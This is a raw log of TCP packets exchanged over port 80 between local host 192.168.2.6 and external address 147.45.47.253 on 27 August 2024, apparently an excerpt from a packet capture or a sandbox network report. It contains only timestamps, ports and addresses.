Aug 27, 2024 20:12:05.887837887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887866020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887867928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887882948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887895107 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887902975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887907982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887921095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887932062 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.887933016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887959003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.887976885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888308048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888348103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888477087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888498068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888509989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888518095 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888520956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888534069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888540983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888545036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888552904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888576031 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888598919 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888623953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888629913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888634920 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888637066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888643980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888667107 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888688087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888803005 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888816118 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888827085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888848066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888871908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.888876915 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.888916016 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889075041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889085054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889095068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889121056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889146090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889226913 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889251947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889265060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889271975 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889273882 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889291048 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889312983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889585018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889596939 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889609098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889630079 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889642000 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889738083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889770985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889784098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889791012 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889795065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.889815092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.889828920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890671015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890681982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890692949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890705109 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890717030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890726089 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890727043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890738964 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890748978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890749931 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890773058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890780926 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890799046 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890801907 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890810013 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890820980 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890827894 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890835047 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.890846968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.890875101 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891011953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891022921 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891033888 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891047001 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891061068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891072035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891078949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891084909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891108036 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891118050 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891175985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891189098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891201019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891215086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891244888 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891613960 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891625881 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891637087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891650915 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891657114 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891666889 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891688108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891695976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891706944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891717911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891726971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891729116 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891741991 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891755104 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891772032 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891797066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891850948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891861916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891886950 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891890049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891900063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.891907930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891932011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.891953945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892096043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892108917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892134905 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892139912 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892147064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892152071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892173052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892188072 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892294884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892307043 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892362118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892362118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.892374992 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.892412901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971322060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971342087 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971354961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971405029 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971425056 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971456051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971467018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971477985 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971488953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971501112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971502066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971522093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971537113 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971595049 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971606016 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971637011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971664906 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971676111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971687078 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971698999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971712112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971712112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.971730947 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.971754074 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972007036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972050905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972065926 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972076893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972088099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972105026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972122908 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972176075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972187042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972197056 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972214937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972222090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972243071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972282887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972287893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972325087 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972362041 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972387075 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972398996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972398996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972410917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972424030 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972424030 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972434998 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972440958 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972462893 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972637892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972675085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972704887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972716093 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972743988 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972781897 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972811937 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972824097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972824097 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972835064 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972846985 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972862005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972877026 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972907066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972919941 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.972946882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.972969055 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973023891 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973025084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973030090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973041058 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973052979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973064899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973072052 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973093987 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973104954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973223925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973236084 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973247051 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973258972 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973268986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973269939 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973304033 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973311901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973334074 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973366976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973411083 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973421097 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973433018 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973445892 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973449945 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973458052 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973467112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973479986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973506927 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973529100 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973541021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973552942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973567963 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973582983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973596096 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973752022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973762035 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973784924 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973793983 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973824024 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973855019 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973865986 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973879099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.973893881 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973922968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.973990917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974004984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974035025 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974035978 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974044085 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974046946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974065065 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974076986 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974096060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974107027 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974121094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974132061 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974165916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974165916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974178076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.974212885 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.974225998 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.975682974 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975738049 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.975739956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975758076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975790977 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.975819111 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975831032 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975841999 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975855112 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975863934 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.975888968 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.975953102 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975965023 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.975996971 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976093054 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976104021 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976114988 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976126909 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976135015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976139069 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976150990 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976164103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976167917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976192951 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976211071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976442099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976457119 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976468086 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976485014 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976499081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976499081 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976510048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976522923 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976526022 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976535082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976542950 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976552963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976564884 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976576090 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976576090 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976588011 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976598024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976605892 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976610899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976623058 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976624012 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976636887 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976660967 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976805925 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976818085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976828098 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976851940 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976865053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976927042 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976927996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976931095 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976938009 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.976965904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.976979017 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.977027893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.977039099 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.977050066 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:05.977071047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:05.977089882 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:06.058108091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058120966 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058135033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058155060 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:06.058166981 CEST	80	49710	147.45.47.253	192.168.2.6
